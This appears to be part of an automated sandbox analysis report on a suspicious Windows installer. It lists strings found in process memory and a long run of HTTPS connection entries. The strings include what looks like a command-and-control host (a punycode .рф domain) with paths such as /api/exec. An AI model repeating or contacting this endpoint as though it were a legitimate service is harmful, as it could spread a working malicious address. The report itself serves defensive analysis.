Source: wjpP1EOX0L.exe, 00000000.00000003.1711898611.000000007FD20000.00000004.00001000.00020000.00000000.sdmp, wjpP1EOX0L.exe, 00000000.00000003.1711597591.0000000002460000.00000004.00001000.00020000.00000000.sdmp, wjpP1EOX0L.tmp, 00000001.00000000.1712569015.0000000000401000.00000020.00000001.01000000.00000004.sdmp, wjpP1EOX0L.tmp.0.dr	String found in binary or memory: http://www.remobjects.com/ps
Source: wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385054264.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2515695685.0000000061EA0000.00000008.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: ast.exe, 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmp, is-JCPUK.tmp.3.dr, libcurl.dll.9.dr	String found in binary or memory: https://curl.haxx.se/V
Source: ast.exe, 0000000A.00000002.2997269858.000000006B954000.00000002.00000001.01000000.00000017.sdmp, is-JCPUK.tmp.3.dr, libcurl.dll.9.dr	String found in binary or memory: https://curl.haxx.se/docs/copyright.htmlD
Source: ast.exe, ast.exe, 0000000A.00000002.2997000852.000000006B93B000.00000002.00000001.01000000.00000017.sdmp, is-JCPUK.tmp.3.dr, libcurl.dll.9.dr	String found in binary or memory: https://curl.haxx.se/docs/http-cookies.html
Source: ast.exe	String found in binary or memory: https://curl.haxx.se/docs/http-cookies.html#
Source: ast.exe, 0000000A.00000000.2388256151.0000000000942000.00000002.00000001.01000000.0000000C.sdmp, ast.exe.9.dr	String found in binary or memory: https://datatracker.ietf.org/ipr/1524/
Source: ast.exe, 0000000A.00000000.2388256151.0000000000942000.00000002.00000001.01000000.0000000C.sdmp, ast.exe.9.dr	String found in binary or memory: https://datatracker.ietf.org/ipr/1526/
Source: ast.exe, 0000000A.00000000.2388256151.0000000000942000.00000002.00000001.01000000.0000000C.sdmp, ast.exe.9.dr	String found in binary or memory: https://datatracker.ietf.org/ipr/1914/
Source: ast.exe, 0000000A.00000003.2877051123.00000000060A0000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2888384413.000000000609F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn-
Source: ast.exe, 0000000A.00000002.2996363895.0000000008F8C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akico
Source: ast.exe, 0000000A.00000003.2474490964.000000000608D000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2436010829.0000000006071000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2435889428.0000000006065000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aa
Source: ast.exe, 0000000A.00000003.2696699050.000000000608A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--
Source: ast.exe.9.dr	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai
Source: ast.exe, 0000000A.00000002.2992252088.0000000006020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai00
Source: ast.exe, 0000000A.00000002.2981320741.0000000002F84000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai03
Source: ast.exe, 0000000A.00000002.2982914474.0000000003194000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai443...
Source: ast.exe, 0000000A.00000003.2856120074.0000000006087000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:
Source: ast.exe, 0000000A.00000003.2706718804.00000000060A2000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2696026958.00000000060F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443
Source: ast.exe, 0000000A.00000003.2551675843.0000000006097000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2561692182.000000000609A000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2525993259.0000000006099000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443%
Source: ast.exe, 0000000A.00000003.2771015394.000000000609A000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2935483270.00000000060A4000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2787353293.000000000609D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443&w
Source: ast.exe, 0000000A.00000003.2452887279.0000000006075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443-
Source: ast.exe, 0000000A.00000002.2982914474.000000000319B000.00000004.00001000.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2472544479.00000000060BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443...
Source: ast.exe, 0000000A.00000002.2981320741.0000000002F43000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443...43
Source: ast.exe, 0000000A.00000002.2981320741.0000000002F43000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443...43AW
Source: ast.exe, 0000000A.00000003.2877051123.00000000060C3000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.2993259885.00000000060C3000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2787353293.00000000060C3000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2429957558.0000000006092000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2730238261.00000000060C3000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2745744616.00000000060C3000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2819335046.00000000060C3000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2888016220.00000000060C3000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2730618420.00000000060C3000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2856120074.00000000060C3000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2452524284.0000000006086000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2722515590.00000000060C3000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2907031061.00000000060C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443/
Source: ast.exe, 0000000A.00000002.2993259885.00000000060C3000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2722515590.00000000060C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443/5
Source: ast.exe, 0000000A.00000003.2787353293.00000000060C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443/6
Source: ast.exe, 0000000A.00000003.2745744616.00000000060C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443/Cln241119_8036.log
Source: ast.exe, 0000000A.00000003.2745744616.00000000060C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443/Cln241119_8036.logw
Source: ast.exe, 0000000A.00000003.2746410358.00000000070B1000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2935989467.0000000006091000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2856120074.00000000060D9000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2722515590.000000000609D000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2746980219.0000000006064000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2826372339.00000000070C3000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2474490964.000000000608D000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2745744616.00000000060ED000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2935483270.00000000060A4000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2429957558.0000000006092000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.2992252088.0000000006020000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2972708017.00000000070C1000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2730238261.000000000609A000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2973227337.00000000060B9000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2826675676.0000000006087000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2819180112.00000000070C4000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2825441021.00000000060C3000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2888384413.000000000609F000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2771015394.00000000060B7000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2935483270.00000000060C3000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2877395342.000000000607B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec
Source: ast.exe, 0000000A.00000003.2730238261.00000000060C3000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2819335046.00000000060C3000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2888016220.00000000060C3000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2730618420.00000000060C3000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2856120074.00000000060C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443/og
Source: ast.exe, 0000000A.00000002.2988967323.00000000042E4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:4430
Source: ast.exe, 0000000A.00000003.2771015394.000000000609A000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2706718804.00000000060A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:4430wo~
Source: ast.exe, 0000000A.00000003.2526279673.000000000607B000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2452524284.0000000006086000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:44335
Source: ast.exe, 0000000A.00000003.2452524284.0000000006086000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:44335-
Source: ast.exe, 0000000A.00000003.2452834986.000000000609A000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2452524284.0000000006086000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:44335/
Source: ast.exe, 0000000A.00000003.2476123740.0000000006075000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2452887279.0000000006075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:44335:
Source: ast.exe, 0000000A.00000002.2981320741.0000000002F4B000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:44335y
Source: ast.exe, 0000000A.00000003.2819563853.00000000060A4000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.2992930514.00000000060A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:4434lo~p
Source: ast.exe, 0000000A.00000003.2551550301.00000000060F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443:
Source: ast.exe, 0000000A.00000003.2877051123.00000000060A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443Io
Source: ast.exe, 0000000A.00000002.2979445587.0000000000CB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443K
Source: ast.exe, 0000000A.00000003.2476123740.0000000006075000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2452887279.0000000006075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443L
Source: ast.exe, 0000000A.00000003.2746778261.00000000060A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443Ow
Source: ast.exe, 0000000A.00000003.2435889428.0000000006075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443U
Source: ast.exe, 0000000A.00000003.2907031061.00000000060A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443Vw
Source: ast.exe, 0000000A.00000003.2787353293.000000000609D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443Wl
Source: ast.exe, 0000000A.00000003.2819563853.00000000060A4000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2746778261.00000000060A4000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2670067675.000000000609D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443aw
Source: ast.exe, 0000000A.00000003.2856120074.00000000060A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443ers
Source: ast.exe, 0000000A.00000003.2551675843.0000000006097000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443l
Source: ast.exe, 0000000A.00000003.2474490964.000000000608D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443r
Source: ast.exe, 0000000A.00000003.2670067675.000000000609D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443sw.~
Source: ast.exe, 0000000A.00000003.2430087607.000000000605F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443t:
Source: ast.exe, 0000000A.00000003.2551550301.00000000060F1000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2535632567.000000000607B000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2526279673.000000000607B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443w
Source: ast.exe, 0000000A.00000003.2552338521.0000000006075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443y
Source: ast.exe, 0000000A.00000003.2746778261.00000000060A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443zo-
Source: ast.exe, 0000000A.00000002.2995912080.00000000075CD000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aiDUdu
Source: ast.exe, 0000000A.00000003.2552338521.0000000006061000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai_
Source: ast.exe, 0000000A.00000002.2981320741.0000000002F84000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aid003
Source: ast.exe, 0000000A.00000002.2981320741.0000000002F84000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aidll03
Source: ast.exe, 0000000A.00000002.2981320741.0000000002F84000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aie03
Source: ast.exe, 0000000A.00000002.2992252088.0000000006020000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2430087607.000000000605F000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2436010829.0000000006071000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2435889428.0000000006065000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aiexe
Source: ast.exe, 0000000A.00000003.2436010829.0000000006071000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2435889428.0000000006065000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2476123740.0000000006060000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aiexe7
Source: ast.exe, 0000000A.00000003.2797214316.0000000006064000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2476123740.0000000006060000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aiexel
Source: ast.exe, 0000000A.00000003.2476123740.0000000006060000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aill
Source: ast.exe, 0000000A.00000002.2979445587.0000000000C6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aillll
Source: ast.exe, 0000000A.00000003.2476123740.0000000006060000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aillx;
Source: ast.exe, 0000000A.00000002.2982914474.0000000003194000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aiq
Source: ast.exe, 0000000A.00000002.2992252088.0000000006020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ais.dll
Source: ast.exe, 0000000A.00000003.2452887279.0000000006060000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ait.dll
Source: ast.exe, 0000000A.00000003.2436010829.0000000006071000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2435889428.0000000006065000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ait.l;
Source: ast.exe, 0000000A.00000002.2992252088.0000000006020000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aixh-~
Source: xcopy.exe, 00000009.00000003.2083727096.00000000035DA000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2087883460.00000000033F7000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2097505417.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2089288252.000000000360A000.00000004.00000020.00020000.00000000.sdmp, astrct.dll.9.dr, is-951GK.tmp.3.dr, is-UA1D6.tmp.3.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2096546624.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385110004.00000000033F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0B
Source: wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2098265032.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2096546624.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385110004.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, opus.dll.9.dr	String found in binary or memory: https://sectigo.com/CPS0C
Source: xcopy.exe, 00000009.00000003.2083727096.00000000035DA000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2098265032.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2087883460.00000000033F7000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2097505417.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2089288252.000000000360A000.00000004.00000020.00020000.00000000.sdmp, opus.dll.9.dr, astrct.dll.9.dr, is-951GK.tmp.3.dr, is-UA1D6.tmp.3.dr	String found in binary or memory: https://sectigo.com/CPS0D
Source: ast.exe, 0000000A.00000003.2525562643.00000000060D9000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2525562643.00000000060B8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2534997545.00000000060BF000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2526220762.0000000006089000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2474490964.00000000060A4000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2525562643.00000000060C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0D
Source: xcopy.exe, 00000009.00000003.2089288252.00000000035F7000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2097505417.0000000003418000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3006978493.000000006CA52000.00000002.00000001.01000000.00000013.sdmp, ast.exe, 0000000A.00000002.3000753196.000000006BE60000.00000002.00000001.01000000.00000014.sdmp, is-UA1D6.tmp.3.dr	String found in binary or memory: https://www.openssl.org/H
Source: is-VCJTB.tmp.3.dr	String found in binary or memory: https://www.openssl.org/docs/faq.html

Source: unknown	Network traffic detected: HTTP traffic on port 50145 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50175
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50178
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50181
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50148 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50187
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50190
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50133 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50139
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50133
Source: unknown	Network traffic detected: HTTP traffic on port 50187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50136
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 50190 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50145
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50148
Source: unknown	Network traffic detected: HTTP traffic on port 50098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50151
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50154
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50157
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50160
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
